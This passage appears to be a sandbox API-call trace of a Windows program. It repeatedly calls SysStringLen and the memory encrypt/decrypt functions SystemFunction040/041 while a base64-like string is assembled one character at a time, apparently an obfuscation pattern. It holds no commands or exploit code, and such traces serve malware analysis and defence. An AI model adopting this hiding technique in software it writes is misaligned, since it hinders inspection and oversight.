(param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.261] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.261] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="YWM1OT") returned 0x8 [0125.261] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.261] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.261] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="YWM1OTE") returned 0x8 [0125.261] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.261] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.261] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0125.261] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.261] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.261] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.261] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.261] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0125.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.261] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0125.261] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.262] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0125.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.263] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0125.263] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0125.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0125.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0125.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0125.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0125.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0125.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0125.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0125.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0125.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0125.264] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0125.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0125.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.266] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0125.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0125.266] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0125.266] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.266] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0125.266] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.266] SystemFunction041 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0125.266] SystemFunction040 (in: Memory=0x8e70114, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70114) returned 0x0 [0125.267] SysStringLen 